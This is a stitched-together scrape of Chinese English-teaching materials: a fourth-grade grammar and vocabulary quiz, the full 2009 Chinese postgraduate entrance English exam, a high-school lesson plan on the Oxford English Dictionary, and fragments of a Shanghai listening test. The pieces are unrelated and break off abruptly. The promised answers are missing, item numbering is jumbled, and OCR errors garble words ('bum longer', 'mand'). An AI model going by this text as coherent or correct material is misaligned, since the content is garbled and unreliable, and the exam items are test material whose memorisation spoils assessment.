First i think that the answer of the question is no
人教版小学四年级上册英语测验(答案及题解)
人教版小学四年级上册英语测验(答案及题解)(共50道题)下面有答案和解题分析一、综合题1.What is the capital of China?A. BeijingB. ShanghaiC. GuangzhouD. Shenzhen2.They _______ (not/play) football after school.3.Which of these is a month of the year?A. JanuaryB. MondayC. SummerD. Spring4.Which animal says "woof"?A. CatB. DogC. BirdD. Cow5.My family is going on a trip to the beach this summer. We are going to bring our __, sunscreen, and a big __. We will spend the whole day swimming in the __ and building __ in the sand. My little sister loves playing with her toy __ at the beach.6.They _______ (not/know) the answer.7.I _______ (visit) the museum next Monday.8.I’m going to the __ with my class tomorrow. We are going to learn about different kinds of __. First, we will look at the __ and see what plants grow there. Then, we will visit the __ where the animals live. I’m looking forward to seeing the __ and other wild animals.9.She _______ (have) a dog and a cat.10.Which of these is a color?A. TableB. GreenC. DogD. Car11.He ________ (visit) his aunt next Sunday.12.She _______ (not/like) the food at the restaurant.13.Which of the following is a type of bird?A. SnakeB. RabbitC. SparrowD. Fish14.They _______ (be) excited about the new movie.15.I _______ (not/like) to wake up early.16.We ________ (go) on a trip next month.17.We _______ (not/understand) the question.18.They _______ (like) to play basketball.19.What do you use to write?A. PenB. SpoonC. PlateD. Cup20.We _______ (not go) to the cinema on weekends.21.My friends and I __________ (1) to a movie last weekend. The movie __________ (2) a great adventure story. We __________ (3) popcorn and drinks. The movie__________ (4) exciting, and we __________ (5) the ending very much. After the movie, we __________ (6) to the park to talk about the story.22.Which of the following is a mode of transportation?A. AirplaneB. ChairC. DogD. Fork23.Which one is a vegetable?A. BananaB. BroccoliC. OrangeD. Grape24.This morning, I ______ (go) to the park with my friends. We ______ (play) soccer for two hours, and then we ______ (sit) on the grass to rest. After that, we ______ (eat) some snacks and ______ (talk) about our plans for the summer.25.What do you use to write?A. EraserB. PencilC. ScissorsD. Paper26.I _______ (take) the bus to school every day.27.What do you use to cut food?A. SpoonB. KnifeC. ForkD. Plate28.This weekend, we ______ (go) to the beach with our friends. We are going to swim and play volleyball.29.Which animal is known for saying "woof"?A. CatB. DogC. CowD. Pig30.We _______ (play) games after school.31.This is a picture of my family. In the picture, my dad and mom are standing together. My dad __________ (1) tall and my mom __________ (2) short. My sister__________ (3) next to me. She __________ (4) like playing with dolls. I __________ (5) like playing video games. We __________ (6) have a pet dog named Max. Max__________ (7) very friendly. He __________ (8) like to play in the park with us.32.We _______ (not) like to eat spinach.33.My mom __________ (1) the laundry every Saturday. She __________ (2) the clothes, dries them, and __________ (3) them in the closet. I __________ (4) to help, butI __________ (5) to play outside.34.Which of these is a mammal?A. FishB. DogC. BirdD. Lizard35.Which one is a fruit?A. WatermelonB. CarrotC. PotatoD. Onion36.Which of these is a day of the week?A. SummerB. TuesdayC. JanuaryD. October37.This is my room. I have a bed, a desk, and a chair. On the wall, there are some posters of my favorite movies. My books are on the shelf next to my desk. I also have a small lamp on my desk for reading at night.38.Which animal is a symbol of wisdom?A. OwlB. DogC. CatD. Elephant39.They _______ (go) swimming in summer.40.My brother is ______ than me.A. TallB. TallerC. TallestD. More tall41.Which one is a kind of animal?A. DogB. SpoonC. TableD. Car42.He _______ (drink) milk every morning.43.What is the capital city of England?A. ParisB. LondonC. RomeD. Berlin44.She _______ (be) at school now.45.What is the plural form of "child"?A. ChildsB. ChildrenC. ChildesD. Childern46.We _______ (not) go to school on Sunday.47.Which of these is a holiday?A. MondayB. ChristmasC. SummerD. January48.He _______ (sleep) now.49.He _______ (was / were / is) at the zoo yesterday.50.She _______ (study) English at the moment.(答案及解释)。
2009年考研英语真题英一
绝密★启用前2009年全国硕士研究生招生考试英语（科目代码：201）☆考生注意事项☆1.答题前，考生须在试题册指定位置上填写考生编号和考生姓名；在答题卡指定位置上填写报考单位、考生姓名和考生编号，并涂写考生编号信息点。
2.考生须把试题册上的“试卷条形码”粘贴条取下，粘贴在答题卡的“试卷条形码粘贴位置”框中。
不按规定粘贴条形码而影响评卷结果的，责任由考生自负。
3.选择题的答案必须涂写在答题卡相应题号的选项上，非选择题的答案必须书写在答题卡指定位置的边框区域内。
超出答题区域书写的答案无效；在草稿纸、试题册上答题无效。
4.填（书）写部分必须使用黑色字迹签字笔书写，字迹工整、笔迹清楚；涂写部分必须使用2B铅笔填涂。
5.考试结束，将答题卡和试题册按规定交回。
（以下信息考生必须认真填写）考生编号考生姓名Section I Use of EnglishDirections:Read the following text. Choose the best word(s) for each numbered blank and mark A, B, C or D on ANSWER SHEET 1. (lOpoints)Research on animal intelligence always makes us wonder just how smart humans are. _1_ the fruit-fly experiments described by Carl Zimmer in the Science Times. Fruit flies who were taught to be smarter than the average fruit fly 2 to live shorter lives. This suggests that 3 bulbs bum longer, that there is a(n) 4 in not being too bright.Intelligence, it_5_, is a high-priced option. It takes more upkeep, bums more fuel and is slow 6 the starting line because it depends on learning -a(n) _?_process -instead of instinct. Plenty of other species are able to learn, and one of the things they've apparently learned is when to -�8__ _Is there an adaptive value to _9_ intelligence? That's the question behind this new research. Instead of casting a wistful glance 10 at all the species we've left in the dust I.Q.-wise, it implicitly asks what the real_l_l_ of our own intelligence might be. This is...U the mind of every animal we've ever met.Research on animal intelligence also makes us wonder what experiments animals would 13 on humans if they had the chance. Every cat with an owner, 14is running a small-scale study in operant conditioning. We believe that ____lL animals ran the labs, they would test us to ___lQ__ the limits of our patience, our faithfulness, our memory for locations. They would try to decide what intelligence in humans is really 17 , not merely how much of it there is. 18 they would hope to study a(n) 19 question: Are humans actually aware of the world they live in? 2Q__ the results are inconclusive.1. [A] Suppose [B] Consider [C] Observe [D] Imagine2. [A] tended [B] feared [ C] happened [D] threatened3. [A] thinner [B] stabler [C] lighter [D] dimmer4. [A] tendency [B] advantage [C] inclination [D] priority5. [A] insists on [B] sums up [C] turns out [D] puts forward6. [A] off [B] behind [C] over [D] along7. [A] incredible [B] spontaneous [C] inevitable [D] gradual8. [A] fight [B] doubt [C] stop [D] think9. [A] invisible [B] limited [C] indefinite [D] different10. [A] upward [B] forward [ C] afterward [D] backward11. [A] features [B] influences [C] results [D] costs12. [A] outside [B] on [C] by [D] across13. [A] deliver [B] carry [C] perform [D] apply14. [A] by chance [B] in contrast [C] as usual [D] for instance15. [A] if [B] unless [C] as [D] lest16. [A] moderate [B] overcome [ C] determine [D] reach17. [A] at [B] for [C] after [D] with18. [A] Above all [B] After all [C] However [D] Otherwise19. [A] fundamental [BJ c omprehensive [C] equivalent [D] hostile20.[A] By accident [B] In time [C] So far [D] Better stillSection II Reading ComprehensionPart ADirections:Read the following four texts. Answer the questions below each text by choosing A, B, C or D. Mark your answers on ANSWER SHEET 1. (40 points)Text 1Habits are a funny thing. We reach for them mindlessly, setting our brains on auto-pilot and relaxing into the unconscious comfort of familiar routine. "Not choice, but habit rules the unreflecting herd," William Wordsworth said in the 19th century. In the ever-changing 21 st century, even the word "habit" carries a negative implication.So it seems paradoxical to talk about habits in the same context as creativity and innovation. But brain researchers have discovered that when we consciously develop new habits, we create parallel paths, and even entirely new brain cells, that can jump our trains of thought onto new, innovative tracks.Rather than dismissing ourselves as unchangeable creatures of habit, we can instead direct our own change by consciously developing new habits. In fact, the more new things we try -the more we step outside our comfort zone -the more inherently creative we become, both in the workplace and in our personal lives.But don't bother trying to kill off old habits; once those ruts of procedure are worn into the brain, they're there to stay. Instead, the new habits we deliberately press into ourselves create parallel pathways that can bypass those old roads."The first thing needed for innovation is a fascination with wonder," says Dawna Markova, author of The O p en Mind. "But we are taught instead to 'decide' , just as our president calls himself 'the Decider'. " She adds, however, that "to decide is to kill off all possibilities but one. A good innovational thinker is always exploring the many other possibilities."All of us work through problems in ways of which we're unaware, she says. Researchers in the late 1960s discovered that humans are born with the capacity to approach challenges in four primary ways: analytically, procedurally, relationally ( o r collaboratively) and innovatively. At the end of adolescence, however, the brain shuts down half of that capacity, preserving only those modes of thought that have seemed most valuable during the first decade or so of life.The current emphasis on standardized testing highlights analysis and procedure, meaning that few of us inherently use our innovative and collaborative modes of thought. "This breaks the major rule in the American belief system -that anyone can do anything," explains M. J. Ryan, author of the 2006 book This Year I Will ... and Ms. Markova's business partner. "That's a lie that we have perpetuated, and it fosters commonness. Knowing what you're good at and doing even more of it creates excellence." This is where developing new habits comes in.21. In Wordsworth's view, "habits" is characterized by being[A] casual.[B] familiar.[C] mechanical.[D] changeable.22. Brain researchers have discovered that the formation of new habits can be[A] predicted.[B] regulated.[C] traced.[D] guided.23. The word "ruts" (Para. 4) is closest in meaning to[A] tracks.[B] series.[C] characteristics.[D] connections.24. Dawna Markova would most probably agree that[A] ideas are born of a relaxing mind.[B] innovativeness could be taught.[C] decisiveness derives from fantastic ideas.[D] curiosity activates creative minds.25. Ryan's comments suggest that the practice of standardized testing[A] prevents new habits from being formed.[B] no longer emphasizes commonness.[C] maintains the inherent American thinking mode.[D] complies with the American belief s ystem.Text2It is a wise father that knows his own child, but today a man can boost his paternal (fatherly) wisdom -or at least confirm that he's the kid's dad. All he needs to do is shell out $30 for a paternity testing kit (PTK) at his local drugstore -and another $120 to get the results.More than 60, 000 people have purchased the PTKs since they first became available without prescriptions last year, according to Doug Fogg, chief operating officer of Identigene, which makes the over-the-counter kits. More than two dozen companies sell DNA tests directly to the public, ranging in price from a few hundred dollars to more than $ 2, 500.Among the most popular: paternity and kinship testing, which adopted children can use to find their biological relatives and families can use to track down kids put up for adoption. DNA testing is also the latest rage among passionate genealogists -and supports businesses that offer to search for a family's geographic roots.Most tests require collecting cells by swabbing saliva in the mouth and sending it to the company for testing. All tests require a potential candidate with whom to compare DNA.But some observers are skeptical. "There's a kind of false precision being hawked by people claiming they are doing ancestry testing," says Troy Duster, a New York University sociologist. He notes that each individual has many ancestors -numbering in the hundreds just a few centuries back. Yet most ancestry testing only considers a single lineage, either the Y chromosome inherited through men in a father's line or mitochondrial DNA, which is passed down only from mothers. This DNA can reveal genetic information about only one or two ancestors, even though, for example, just three generations back people also have six other great-grandparents or, four generations back, 14 other great-great-grandparents.Critics also argue that commercial genetic testing is only as good as the reference collections to which a sample is compared. Databases used by some companies don't rely on data collected systematically but rather lump together information from different research projects. This means that a DNA database may have a lot of data from some regions and not others, so a person's test results may differ depending on the company that processes the results. In addition, the computer programs a company uses to estimate relationships may be patented and not subject to peer review or outside evaluation.26. In Paragraphs 1 and 2, the text shows PTK's[A] easy availability.[B] flexibility in pricing.[C] successful promotion.[D] popularity with households.27. PTK is used to[A] locate one's birth place.[B] promote genetic research.[C] identify parent-child kinship.[D] choose children for adoption.28. Skeptical observers believe that ancestry testing fails to[A] trace distant ancestors.[B] rebuild reliable bloodlines.[C] fully use genetic information.[D] achieve the claimed accuracy.29. In the last paragraph, a problem commercial genetic testing faces is[A] disorganized data collection.[B] overlapping database building.[C] excessive sample comparison.[D] lack of patent evaluation.30. An appropriate title for the text is most likely to be[A] Fors and Againsts of DNA Testing.[B] DNA Testing and Its Problems.[C] DNA Testing Outside the Lab.[D] Lies Behind DNA Testing.Text3The relationship between formal education and economic growth in poor countries is widely misunderstood by economists and politicians alike. Progress in both areas is undoubtedly necessary for the social, political, and intellectual development of these and all other societies; however, the conventional view that education should be one of the very highest priorities for promoting rapid economic development in poor countries is wrong. We are fortunate that it is, because building new educational systems there and putting enough people through them to improve economic performance would require two or three generations. The findings of a research institution have consistently shown that workers in all countries can be trained on the job to achieve radically higher productivity and, as a result, radically higher standards ofliving.Ironically, the first evidence for this idea appeared in the United States. Not long ago, with the country entering a recession and Japan at its pre-bubble peak, the U.S. workforce was derided as poorly educated and one of the primary causes of the poor U.S. economic performance. Japan was, and remains, the global leader in automotiveassembly productivity. Yet the research revealed that the U.S. factories of Honda, Nissan, and Toyota achieved about 95 percent of the productivity of their Japanese counterparts -a result of the training that U.S. workers received on the job.More recently, while examining housing construction, the researchers discovered that illiterate, non-English-speaking Mexican workers in Houston, Texas, consistently met best-practice labor productivity standards despite the complexity of the building industry's work.What is the real relationship between education and economic development? We have to suspect that continuing economic growth promotes the development of education even when governments don't force it. After all, that's how education got started. When our ancestors were hunters and gatherers 10, 000 years ago, they didn't have time to wonder much about anything besides finding food. Only when humanity began to get its food in a more productive way was there time for other things.As education improved, humanity's productivity potential increased as well. When the competitive environment pushed our ancestors to achieve that potential, they could in tum afford more education. This increasingly high level of education is probably a necessary, but not a sufficient, condition for the complex political systems required by advanced economic performance. Thus poor countries might not be able to escape their poverty traps without political changes that may be possible only with broader formal education. A lack of formal education, however, doesn't constrain the ability of the developing world's workforce to substantially improve productivity for the foreseeable future. On the contrary, constraints on improving productivity explain why education isn't developing more quickly there than it is.31. The author holds in Paragraph 1 that the importance of education in poorcountries[A] is subject to groundless doubts.[B] has fallen victim of bias.[C] is conventionally downgraded.[D] has been overestimated.32. It is stated in Paragraph 1 that the construction of a new educational system[A] challenges economists and politicians.[B] takes efforts of generations.[C] demands priority from the government.[D] requires sufficient labor force.33. A major difference between the Japanese and U.S. workforces is that[A] the Japanese workforce is better disciplined.[B] the Japanese workforce is more productive.[C] the U.S. workforce has a better education.[D] the U.S. workforce is more organized.34. The author quotes the example of our ancestors to show that education emerged[A] when people had enough time.[B] prior to better ways of finding food.[C] when people no longer went hungry.[D] as a result of pressure on government.3 5. According to the last paragraph, development of education[A] results directly from competitive environments.[B] does not depend on economic performance.[C] follows improved productivity.[D] cannot afford political changes.Text4The most thoroughly studied intellectuals in the history of the New World are the ministers and political leaders of seventeenth-century New England. According to the standard history of American philosophy, nowhere else in colonial America was "so much importance attached to intellectual pursuits." According to many books and articles, New England's leaders established the basic themes and preoccupations of an unfolding, dominant Puritan tradition in American intellectual life.To take this approach to the New Englanders normally means to start with the Puritans' theological innovations and their distinctive ideas about the church -i mp ortant subjects that we may not neglect. But in keeping with our examination of southern intellectual life, we may consider the original Puritans as carriers of European culture, adjusting to New World circumstances. The New England colonies were the scenes of important episodes in the pursuit of widely understood ideals of civility and virtuosity.The early settlers of Massachusetts Bay included men of impressive education and influence in England. Besides the ninety or so learned ministers who came to Massachusetts churches in the decade after 1629, there were political leaders like John Winthrop, an educated gentleman, lawyer, and official of the Crown before he journeyed to Boston. These men wrote and published extensively, reaching both New World and Old World audiences, and giving New England an atmosphere of intellectual earnestness.We should not forget, however, that most New Englanders were less well educated. While few craftsmen or farmers, let alone dependents and servants, left literary compositions to be analyzed, it is obvious that their views were less fully intellectualized. Their thinking often had a traditional superstitious quality. A tailor named John Dane, who emigrated in the late 1630s, left an account of his reasons for leaving England that is filled with signs. Sexual confusion, economic frustrations, and religious hope -all came together in a decisive moment when he opened the Bible, told his father that the first line he saw would settle his fate, and read the magical words: "Come out from among them, touch no unclean thing, and I will be your God and you shall be my people." One wonders what Dane thought of the careful sermons explaining the Bible that he heard in Puritan churches.Meanwhile, many settlers had slighter religious commitments than Dane's, as one clergyman learned in confronting folk along the coast who mocked that they had not come to the New World for religion. "Our main end was to catch fish."36. The author holds that in the seventeenth-century New England[A] Puritan tradition dominated political life.[B] intellectual interests were encouraged.[C] politics benefited much from intellectual endeavors.[D] intellectual pursuits enjoyed a liberal environment.3 7. It is suggested in Paragraph 2 that New Englanders[A] experienced a comparatively peaceful early history.[B] brought with them the culture of the Old World.[C] paid little attention to southern intellectual life.[D] were obsessed with religious innovations.38. The early ministers and political leaders in Massachusetts Bay[A] were famous in the New World for their writings.[B] gained increasing importance in religious affairs.[C] abandoned high positions before coming to the New World.[D] created a new intellectual atmosphere in New England.39. The story of John Dane shows that less well-educated New Englanders wereoften[A] influenced by superstitions.[B] troubled with religious beliefs.[C] puzzled by church sermons.[D] frustrated with family earnings.40. The text suggests that early settlers in New England[A] were mostly engaged in political activities.[B] were motivated by an illusory prospect.[C] came from different intellectual backgrounds.[D] left few formal records for later reference.PartBDirections:In the following text, some segments have been removed. For Questions 41-45, choose the most suitable one from the list A-G to fit into each of the numbered blanks. There are two extra choices, which do not fit in any of the blanks. Mark your answers on ANSWER SHEET 1. (10 points)Coinciding with the groundbreaking theory of biological evolution proposed by British naturalist Charles Darwin in the 1860s, British social philosopher Herbert Spencer put forward his own theory of biological and cultural evolution. Spencer argued that all worldly phenomena, including human societies, changed over time, advancing toward perfection. ( 41) ________ _American social scientist Lewis Henry Morgan introduced another theory of cultural evolution in the late 1800s. Morgan helped found modem anthropology -the scientific study of human societies, customs and beliefs -thus becoming one of the earliest anthropologists. In his work, he attempted to show how all aspects of culture changed together in the evolution of societies. ( 42) ________ _ In the early 1900s in North America, German-born American anthropologist Franz Boas developed a new theory of culture known as historical particularism. Historical particularism, which emphasized the uniqueness of all cultures, gave new direction to anthropology. (43) ________ _Boas felt that the culture of any society must be understood as the result of a unique history and not as one of many cultures belonging to a broader evolutionary stage or type of culture. ( 44) ________Historical particularism became a dominant approach to the study of culture in American anthropology, largely through the influence of many students of Boas. But a number of anthropologists in the early 1900s also rejected the particularist theory of culture in favor of diffusionism. Some attributed virtually every important cultural achievement to the inventions of a few, especially gifted peoples that, according to diffusionists, then spread to other cultures. ( 45) ________ _ Also in the early 1900s, French sociologist Emile Durkheim developed a theory of culture that would greatly influence anthropology. Durkheim proposed that religious beliefs functioned to reinforce social solidarity. An interest in the relationship between the function of society and culture became a major theme in European, and especially British, anthropology.[A] Other anthropologists believed that cultural innovations, such as inventions, hada single origin and passed from society to society. This theory was known asdiffusionism.[B] In order to study particular cultures as completely as possible, he became skilledin linguistics, the study of languages, and in physical anthropology, the study of human biology and anatomy.[C] He argued that human evolution was characterized by a struggle he called the"survival of the fittest," in which weaker races and societies must eventually be replaced by stronger, more advanced races and societies.[D] They also focused on important rituals that appeared to preserve a people's socialstructure, such as initiation ceremonies that formally signify children's entrance into adulthood.[E] Thus, in his view, diverse aspects of culture, such as the structure of families,forms of marriage, categories of kinship, ownership of property, forms of government, technology, and systems of food production, all changed as societies evolved.[F] Supporters of the theory viewed culture as a collection of integrated parts thatwork together to keep a society functioning.[G] For example, British anthropologists Grafton Elliot Smith and W. J. Perryincorrectly suggested, on the basis of inadequate information, that farming, pottery making, and metallurgy all originated in ancient Egypt and diffused throughout the world. In fact, all of these cultural developments occurred separately at different times in many parts of the world.PartCDirections:Read the following text carefully and then translate the underlined segments into Chinese. Your translation should be written clearly on ANSWER SHEET 2. (10 points)There is a marked difference between the education which every one gets from living with others and the deliberate educating of the young. In the former case the education is incidental; it is natural and important, but it is not the express reason of the association. ( 46) It may be said that the measure of the worth of any social institution is its effect in enlarging and improving experience, but this effect is not a part of its original motive. Religious associations began, for example, in the desire to secure the favor of overruling powers and to ward off evil influences; family life in the desire to gratify appetites and secure family perpetuity; systematic labor, for the most part, because of enslavement to others, etc. (47) Only gradually was the QY:product of the institution noted, and only more gradually still was this effect considered as a directive factor in the conduct of the institution. Even tod ay, in our industrial life, apart from certain values of industriousness and thrift, the intellectual and emotional reaction of the forms of human association under which the world' s work is carried on receives little attention as compared with physical output.But in dealing with the young, the fact of association itself as an immediate human fact, gains in importance. ( 48) While it is easy to ignore in our contact with them the effect of our acts upon their disposition, it is not so easy as in dealing with adults. The need of training is too evident and the pressure to accomplish a change in their attitude and habits is too urgent to leave these consequences wholly out of account. ( 49) Since our chief business with them is to enable them to share in a common life we cannot help considering whether or not we are forming the powers which will secure this ability. If humanity has made some headway in realizing that the ultimate value of every institution is its distinctively human effect we may well believe that this lesson has been learned largely through dealings with the young.(50) We are thus led to distinguish, within the broad educational process which we have been so far considering, a more formal kind of education -that of direct tuition or schooling. In undeveloped social groups, we find very little formal teaching and training. These groups mainly rely for instilling needed dispositions into the young upon the same sort of association which keeps adults loyal to their group.Section III WritingPart A51. Directions:Restrictions on the use of plastic bags have not been so successful in some regions. "White Pollution" is still going on.Write a letter to the editor(s) of your local newspaper to1) give your opinions briefly, and2) make two or three suggestions.You should write about 100 words on ANSWER SHEET 2.Do not si gn your own name at the end of the letter. Use "Li Ming" instead.Do not write the address. (10 points)PartB52. Directions:Write an essay of 160-200 words based on the following drawing. In your essay, you should1) describe the drawing briefly,2) explain its intended meaning, and then3) give your comments.You should write neatly on ANSWER SHEET 2. (20 points)。
高中英语 必修1 (Unit2 English around the world the 5th period) 精品教案
高中英语必修1（Unit2Englisharoundtheworldthe5thperiod）精品教案TheFifthPeriod●从容说课Thisisthefifthperiodofthisunit.Inthispart，twoitemswillbedealtwith，thatis，thewordsleftinthevocabulary，thereadingintheworkbook.Thefirstitem，learningnewwordsleftinthevocabularyistoremovethebarrierinthefollowingstudy.Andhowtoletstudentslearnthewords withinterestisadifficultissue.Ithinkitisbettertogivestudentsthechancetolearnnewwordsbythemselves.Letstudentsloo kupwordsinthedictionaryand thencomm unicatewithothersinclass，whichcaninspirestudents.Andthenletthemmakeupsomesentences.Theseconditemisanotherpassageonthesubject “English”.ItgivesstudentsmuchmoreinformationonEnglish.Todealwiththispassage，7stepsaredesigned：（1）predictwhatwillbetalked（2）listentofindoutanswers（3）answerquestions（4）scanningtofillinatable（5）summary （6）discussion（7）homework●三维目标1.Knowledge：Learningtherestwordsinthevocabulary.2.Ability：Theunderstandingofthereadingpassage.3.Emotion：Guidestudentshowtoremembermorewordsassoonaspossible.●教学重点Theunderstandin gofthereadingpassage.●教学难点（1）Howtoletstudentsmasterwords.（2）Howtoletstudentsunderstandthepassagewell.●教具准备cassetterecorder；cardswithwordsonthe m●教学过程Step1GreetingsGreetthewholeclassasusual.Step2NewwordsandvocabularyT：Yesterday，Iaskedyoutolookupthewordsleftinthevocabularyinthedictionary.Haveyoubeenpreparedforit？Now，let’shaveagame.Let’sdividethewholeclassinto2groups.Eithergroupchoosesonestudentasarepresentative.I’llshowther epresentativeawordoraphrase，sheorheshouldexplainitinEnglish.Ifthegroup’smemberscanguessit，yourgroupwillwin10points.Eithergrouphas5chances.Let’sgo!Possibleexplanation：mand：（1）v.totellsb.todosth.（2）anorder2.standard：generallyusedoracceptedasnormal3.playapartin：playarolein4.dialect：awayofspeakingthatisusedonlyinaparticulararea5.request：（1）v.toasksb.todo（2）n.anactofaskingforsth.inapoliteorformalway6.polite：theoppositeofrude7.retell：totellastoryagainorinadifferentform8.accent：awayofsayingwordsthatshowswhatcountry，esfrom9.recognize：toknowwhothepersonis10.eastern：inorfromtheeast ofacountryorplaceT：Welldone!Nowlet’sdealwiththesomeofthewordsandphrasesindeal.mandv.命令，指挥commandsb.todo；commandsth.；博得，应得commandthat-clausee.g.Hecommandedhismantoretreat.ThetroopswerecommandedbyGerneralHaig.Thekingcommandedthatshe（should）beexecuted.（建议，命令，要求一类词后从句中用虚拟语气，此类动词有suggest，advise，order，request，require，command，demand...）Hecommanded thebuilding（should）betorndown.n.命令［C］；指挥，控制［U］e.g.Areyourefusingtoobeymycommands？Youmustobeyhiscommandthatthebuilding（should）betorndown.Takecommandof；beincommand；underone’scommand；underthecommandofsb.e.g.Shetookcommandofthisclassaftertheformermanagerleft.Shefeltincommandofherlife.ThebattleshipisunderthecommandofCaptainBlake.2.requestv.requeststh.（fromsb.）；requestsb.todo；requestthat-clausee.g.Youcanrequestafreecopyoftheleaflet（宣传单）.Youarerequestednottosmokeintherestaurant.Sherequestedthatnoone（should）betoldofherdecision untilthenextmeeting.n.request（forsth.）；request（that）e.g.Requestsforvisaswillbedealtwithwithin48hours.Herrequestthatmoresweetsbeservedwasrefused.3.recognize辨认出；意识到；承认recognizesb./sth.（by/fromsth.）通过……认出……；recognizesth.（assth.）；把……认作是……recognizethat意识到；承认e.g.Irecognizedthehousefromyourdescription.Drugswerenotrecognizedasaproblemthen.Nobodyrecognizedhowurgentthesituationwas.Werecognizedthatthetaskwasnoteasy.4.standardn.规格，标准［C&U］raise/improve/lowerstandard提高/降低标准set（sb.）astandard给某人定一个标准e.g.Hesethimselfsuchahighstandardthatheoftendisappointshimself.ofhigh/lowstandard具高/低标准的standards行为标准，道德标准amanofhighstandards一个道德高尚的人Step3ReadingT：WehavelearntEnglishformanyyears.Theninyouropinion，whatisaveryimportanthelptoyourEnglishstudy？S：teachers，books，tapes...T：Anythingelse？IsthereanythingthatyoucanturntoforhelpwhenyouareconfusedwhilelearningEnglish？S：Ithinkadictionaryisagreathelp.T：Yeah.Whenwemeetacrossnewwordsweoftenlookthemupinadictionary.Whatisthemostwidely-useddictionaryinChin ese？S：XinhuaDictionary.T：ThenwhichonedoyouthinkisusedwidelyinEnglish？S：I’msorryIhavenoidea.T：It’s LongmanDictionary andthe OxfordEnglishDictionary.Today，we’llreadapassageonthe OxfordEnglishDictionary.Nowaccordingtothetitle，whatdoyouthinkwillbementionedinthepassage？S：Ithinkthewriter，thetimewhenwasitwritten，whyitwaswritten，howitwaswritten，thefeatureofthedictionarywillbementioned.T：Now，let’slistentoittoseewhetheryouranswerisrigh t.（afterlistening）T：Doyouthinkthatyouranswerisright？S：Ithinkthatitdoesn’tmentionthefeatureofthedictionary.T：Yes.Nowlet’sreaditaloudtoanswerthesequestionsthen.①Whywasitwritten？②Whendiditstarttobewritten？③Whoisthewriter？④Howitwaswritten？S：①Toencourageeverybodytospellthesame.②Theideawasraisedin1857.And22yearsl ater，itbegantobewritten.③Threemenworkedtogetheronthedictionary：SamuelJohnson，NoahWebster，andJamesMurray.④Ittookthethreemennearlyalloftheirlivestotrytocollectwords.T：Goodjob!Thenwhofirstbegantoworkonthedictionary？S：Murray.T：Yes.Nowlet’sreadthelastparagraph.AndthenfinishthetableaboutnotesonJamesMurray’slifewithyourpartners.（checktogether）Step4Consolidation/discussionT：Afterreadingit，canyousaysomethingaboutMurray？Let’sdoachainreaction.EachstudentjustsaysonesentenceaboutMurray.T：Doyouthinkitworthsothesepeople’sspendingsomuchtimeon？Why？Nowdiscusswithyourpartnerandlistsomereasons.（discussforabout3minutes）Now，it’sshowtime.S：Wethinkthatitworththeirjob.Iftherewerenodictionaries，peoplewouldhavenoruletoguidethemwhileusingthelanguage，whichwillleadtoamessinEnglishbecausedifferentpeople wouldusedifferentlawstouseit.Thentherewillbemoredifficul tyinunderstandingoneanother.Withthedictionary，peoplehaveasetruletojudgewhethertheirwayofusingthelanguageisright.Step5SummaryandhomeworkToday，wehavelearnedthewordsleftinthevocabularyandwe’vegotsomeinformationonthelargeEnglishdictionary.Afterclass，pleasereadthewordsagainandagaintorecitethemandtrytousethemtomakeupsentences.●板书设计Unit2EnglisharoundtheworldTheFifthPeriodWordsmand2.request3.recognize4.standardUnderstandingofthepassageGuessingQuestions●活动与探究ThisresearchistodoresearchontheconceptoftheOxfordDictionaryandsomeotherkindsofdictionaryinEnglishspok encountries.SostudentsshouldworkingroupstostudytheitemsoftheOxfordDictionaryandfindoutthenamesofothertypenames Themostpopularone ThereasonAbout theOxfordEnglishDictionaryThe OxfordEnglishDictionary istheacceptedauthorityontheevolutionoftheEnglishlanguageoverthelastmillenniu m.Itisanunsurpassedguidetothemeaning，history，andpronunciationofoverhalfamillionwords，bothpresentandpast.Ittracestheusageofwordsthrough2.5millionquotationsfromawiderangeofinternationalEnglishlan guagesources，fromclassicliteratureandspecialistperiodicalstofilmscriptsandcookerybooks.The OED coverswordsfromacrosstheEnglish-speakingworld，fromNorthAmericatoSouthAfrica，fromAustraliaandNewZealandtotheCaribbean.Italsooffersthebestinetymologicalanalysisandinlistingofvariantspelli ngs，anditshowspronunciationusingtheInternationalPhoneticAlphabet.Asthe OED isahistoricaldictionary，itsentrystructureisverydifferentfromthatofadictionaryofcurrentEnglish，inwhichonlypresent-daysensesarecovered，andinwhichthemostcommonmeaningsorsensesaredescribedfirst.Foreachwordinthe OED，thevariousgroupingsofsensesaredealtwithinch ronologicalorderaccordingtothequotationevidence，i.e.thesenseswiththeearliestquotationsappearfirst，andthesenseswhichhavedev elopedmorerecentlyappearfurtherdowntheentry.Inacomplexentrywithmanystrands，thedevelopmentovertimecanbeseeninastructurewithseveral“branches”.TheSecondEditionofthe OED iscurrentlyavailableasa20-volumeprint edition，onCD-ROM，andnowalsoonline.Updatedquarterlywithatleast1000newandrevisedentries，OED Onlineoffersunparalleledaccesstothegreatestcontinuingworkofscholarshipthatthiscenturyhasproduced’（Newsweek）.Tofindoutmoreaboutthe OED Online，whynotfollowourfree tour？“Aboutthe OxfordEnglishDictionary”invitesyoutoexploretheintriguingbackgroundanddistinctivecharacterofthe OED.Here，youwillfindin-deptharticlesaboutthehistoryofthe OED，aninsidelookattheprogrammesusedtoenlargeandupdatethe OED entries，little-knownfactsaboutitscontent，andmuchmore.。
2019年上海市浦东新区中考一模英语试卷带讲解
20.Lucy thought that it was fun for Charlie to take the summer course.
15.T16.F
M: The course was also very good.
W: What about the American teachers?
M: They were nice. They taught us to listen, speak, read and write in English. But it was mostly speaking.
M: Oh, he is very strong and tall. He does exercise every day.
Q: How is the boy’s brother?
8.
A.Love story.B.Action film.C.History story.D.Adventure film.
M: Oh, I lived with the Smiths, an American family. I could speak to them every Saturday morning when I was living in their house.
W: How nice! And how about the summer course?
13.
A.By car.B.By train.C.By underground.D.By ferry.
A
【原文】W: Dad, my friends are going to watch the football game. May I go with them?
上海市崇明区2021-2023年中考英语一模试题分类汇编：阅读单选(含解析)
